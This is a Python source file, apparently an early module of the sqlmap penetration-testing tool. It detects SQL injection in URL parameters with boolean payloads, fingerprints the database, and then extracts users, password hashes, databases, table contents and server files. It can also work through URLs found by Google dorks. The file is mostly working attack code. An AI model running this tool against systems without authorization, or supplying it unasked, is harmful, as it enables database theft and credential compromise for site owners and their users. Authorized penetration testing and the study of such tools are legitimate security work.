#!/usr/bin/env python


import logging
import time

from lib.dump import Dump
from lib.union import UnionCheck
from plugins.mysqlmap import MySQLMap
from plugins.postgresqlmap import PostgreSQLMap
from plugins.mssqlservermap import MSSQLServerMap


class Injection(UnionCheck):
    """
    This class defines methods to check url stability, parameters
    dynamicity and perform SQL injection on affected parameters

    @author: Bernardo Damele
    """

    def __init__(self):
        self.logger = logging.getLogger("sqlmapLog")


    def __getDbHandler(self):
        """
        This method fingerprint the remote database management
        system
        """

        if self.args.dbms == "mysql":
            app = MySQLMap(self.args)
            if app.checkDbms():
                return app
        elif self.args.dbms == "postgresql":
            app = PostgreSQLMap(self.args)
            if app.checkDbms():
                return app
        elif self.args.dbms == "microsoft sql server":
            app = MSSQLServerMap(self.args)
            if app.checkDbms():
                return app
        else:
            app = MySQLMap(self.args)
            if app.checkDbms():
                return app

            app = PostgreSQLMap(self.args)
            if app.checkDbms():
                return app

            app = MSSQLServerMap(self.args)
            if app.checkDbms():
                return app

        return None


    def __exploit(self):
        """
        This method exploit the SQL injection on the affected
        url parameter and extract requested data from the
        remote database management system or operating system
        if possible
        """

        app = self.__getDbHandler()

        if not app:
            errMsg  = "it is not possible to fingerprint the "
            errMsg += "remote database management system"
            raise Exception, errMsg

        print "remote DBMS:\t%s\n" % app.getFingerprint()

        dumper = Dump()

        if self.args.unionCheck:
            dumper.string("valid union", self.unionCheck())

        if self.args.getBanner:
            dumper.string("banner", app.getBanner())

        if self.args.getCurrentUser:
            dumper.string("current user", app.getCurrentUser())

        if self.args.getCurrentDb:
            dumper.string("current database", app.getCurrentDb())

        if self.args.getUsers:
            dumper.list("database users", app.getUsers())

        if self.args.getPasswordHashes:
            dumper.passwordHashes("database users password hashes",
                                  app.getPasswordHashes())

        if self.args.getDbs:
            dumper.list("available databases", app.getDbs())

        if self.args.getTables:
            dumper.dbTables(app.getTables())

        if self.args.getColumns:
            dumper.dbTableColumns(app.getColumns())

        if self.args.dumpTable:
            dumper.dbTableValues(app.dumpTable())

        if self.args.filename:
            dumper.string(self.args.filename,
                          app.getFile(self.args.filename))

        if self.args.expression:
            dumper.string(self.args.expression,
                          app.getExpr(self.args.expression))


    def __checkSqlInjection(self, parameter, value):
        """
        This method checks if the url parameter is affected by a SQL
        injection vulnerability and identifies the type of SQL
        injection:

          * Numeric/Unescaped injection
          * String/Single quote injection
          * String/Double quotes injection
        """

        logMsg  = "testing numeric/unescaped injection "
        logMsg += "on parameter '%s'" % parameter
        self.logger.info(logMsg)

        url = self.urlReplace(parameter, value, "%s AND 1=1" % value)
        trueResult = self.queryPage(url)

        if trueResult == self.args.defaultResult:
            url = self.urlReplace(parameter, value, "%s AND 1=2" % value)
            falseResult = self.queryPage(url)

            if falseResult != self.args.defaultResult:
                logMsg  = "confirming numeric/unescaped injection "
                logMsg += "on parameter '%s'" % parameter
                self.logger.info(logMsg)

                url = self.urlReplace(parameter, value, "%s AND NoValue" % value)
                falseResult = self.queryPage(url)

                if falseResult != self.args.defaultResult:
                    logMsg  = "parameter '%s' is " % parameter
                    logMsg += "numeric/unescaped injectable" 
                    self.logger.info(logMsg)

                    self.args.injectionMethod = "numeric"

                    return True

        logMsg  = "parameter '%s' is not " % parameter
        logMsg += "numeric/unescaped injectable"
        self.logger.info(logMsg)

        logMsg  = "testing string/single quote injection "
        logMsg += "on parameter '%s'" % parameter
        self.logger.info(logMsg)

        url = self.urlReplace(parameter, value, "%s' AND '1'='1" % value)
        trueResult = self.queryPage(url)

        if trueResult == self.args.defaultResult:
            url = self.urlReplace(parameter, value, "%s' AND '1'='2" % value)
            falseResult = self.queryPage(url)

            if falseResult != self.args.defaultResult:
                logMsg  = "confirming string/single quote injection "
                logMsg += "on parameter '%s'" % parameter
                self.logger.info(logMsg)

                url = self.urlReplace(parameter, value, "%s' and NoValue" % value)
                falseResult = self.queryPage(url)

                if falseResult != self.args.defaultResult:
                    logMsg  = "parameter '%s' is " % parameter
                    logMsg += "string/single quote injectable" 
                    self.logger.info(logMsg)

                    self.args.injectionMethod = "stringsingle"

                    return True

        logMsg  = "parameter '%s' is not " % parameter
        logMsg += "string/single quote injectable"
        self.logger.info(logMsg)

        logMsg  = "testing string/double quotes injection "
        logMsg += "on parameter '%s'" % parameter
        self.logger.info(logMsg)

        url = self.urlReplace(parameter, value, '%s" AND "1"="1' % value)
        trueResult = self.queryPage(url)

        if trueResult == self.args.defaultResult:
            url = self.urlReplace(parameter, value, '%s" AND "1"="2' % value)
            falseResult = self.queryPage(url)

            if falseResult != self.args.defaultResult:
                logMsg  = "confirming string/double quotes injection "
                logMsg += "on parameter '%s'" % parameter
                self.logger.info(logMsg)

                url = self.urlReplace(parameter, value, '%s" AND "NoValue' % value)
                falseResult = self.queryPage(url)

                if falseResult != self.args.defaultResult:
                    logMsg  = "parameter '%s' is " % parameter
                    logMsg += "string/double quotes injectable" 
                    self.logger.info(logMsg)

                    self.args.injectionMethod = "stringdouble"

                    return True

        logMsg  = "parameter '%s' is not " % parameter
        logMsg += "string/double quotes injectable"
        self.logger.info(logMsg)

        return False


    def __checkSqlInjectionPreface(self, parameter, value):
        """
        This method checks if the url parameter is affected by a SQL
        injection vulnerability
        """

        logMsg  = "testing sql injection on "
        logMsg += "parameter '%s'" % parameter
        self.logger.info(logMsg)

        if not self.__checkSqlInjection(parameter, value):
            warnMsg = "parameter '%s' is not injectable" % parameter
            self.logger.warn(warnMsg)
        else:
            return parameter


    def __checkDynParam(self, parameter, value):
        """
        This method checks if the url parameter is dynamic. If it is
        dynamic, the content of the page differs, otherwise the
        dynamicity might depend on another parameter.
        """

        url = self.urlReplace(parameter, value, "47")
        dynResult1 = self.queryPage(url)

        if self.args.defaultResult == dynResult1:
            return False

        logMsg = "confirming that '%s' parameter is dynamic" % parameter
        self.logger.info(logMsg)

        url = self.urlReplace(parameter, value, "'NoValue")
        dynResult2 = self.queryPage(url)

        url = self.urlReplace(parameter, value, '"NoValue')
        dynResult3 = self.queryPage(url)

        condition  = self.args.defaultResult != dynResult2
        condition |= self.args.defaultResult != dynResult3

        return condition


    def __checkUrlStable(self):
        """
        This method checks if the url is stable requesting the
        same page three times with a small delay within each
        request to assume it is stable.

        In case the content of the page differs when requesting
        the same page, the dynamicity might depend on other
        settings.
        """

        firstResult = self.queryPage(self.args.url)
        time.sleep(0.5)

        secondResult = self.queryPage(self.args.url)
        time.sleep(0.5)

        thirdResult = self.queryPage(self.args.url)

        condition  = firstResult == secondResult
        condition &= secondResult == thirdResult

        return condition


    def __effectiveRun(self):
        """
        This method performs checks on the target url and SQL injection
        on the vulnerable url parameters
        """

        self.args.injParameter = None

        try:
            self.args.defaultResult = self.queryPage(self.args.url)
        except:
            warnMsg = "unable to connect to the target url"

            if self.args.googleDork:
                warnMsg += ", skipping to next url"
                self.logger.warn(warnMsg)
            else:
                warnMsg += " or proxy"
                raise Exception, warnMsg

        if not self.args.string:
            logMsg = "testing if the url is stable, wait a few seconds"
            self.logger.info(logMsg)

            if not self.__checkUrlStable():
                errMsg  = "url is not stable, unable "
                errMsg += "to test for SQL injection"

                if self.args.googleDork:
                    errMsg += ", skipping to next url"
                    self.logger.warn(errMsg)

                    return
                else:
                    raise Exception, errMsg
            else:
                logMsg = "url is stable"
                self.logger.info(logMsg)

        for parameter, value in self.args.parameters.items():
            if self.args.urlParameter and parameter in self.args.urlParameter:
                injParameter = self.__checkSqlInjectionPreface(parameter, value)

                if injParameter:
                    return injParameter
                else:
                    continue

            logMsg = "testing if '%s' parameter is dynamic" % parameter
            self.logger.info(logMsg)

            if not self.__checkDynParam(parameter, value):
                warnMsg = "parameter '%s' is not dynamic" % parameter
                self.logger.warn(warnMsg)
            else:
                logMsg = "parameter '%s' is dynamic" % parameter
                self.logger.info(logMsg)

                injParameter = self.__checkSqlInjectionPreface(parameter, value)

                if injParameter:
                    return injParameter

        return None


    def run(self, checkedArgs):
        """
        This method performs checks on the target url(s) and perform
        SQL injection on vulnerable url parameters
        """

        self.args = checkedArgs

        if self.args.url:
            self.args.injParameter = self.__effectiveRun()

            if not self.args.injParameter:
                raise Exception, "all parameters are not injectable"

            self.__exploit()
        else:
            hostCount = 0

            for testableHost in self.args.testableHosts:
                hostCount += 1

                message  = "url %d: %s, " % (hostCount, testableHost)
                message += "do you want to test this url? [y/N] "
                test = raw_input("[%s] [INFO] %s" % (time.strftime("%X"), message))

                if not test or test[0] in ("n", "N"):
                    continue

                logMsg = "testing url %s" % testableHost
                self.logger.info(logMsg)

                self.args.parameters = {}
                self.args.url = testableHost
                url, parameters = self.roughParameters()

                if not url or not parameters:
                    continue

                self.args.parameters = self.paramDict(parameters)

                if not self.args.parameters:
                    continue

                self.args.injParameter = self.__effectiveRun()

                if self.args.injParameter:
                    message = "do you want to exploit this SQL injection? [Y/n] "
                    exploit = raw_input("[%s] [INFO] %s" % (time.strftime("%X"), message))

                    if not exploit or exploit[0] in ("y", "Y"):
                        self.__exploit()

        return self.args

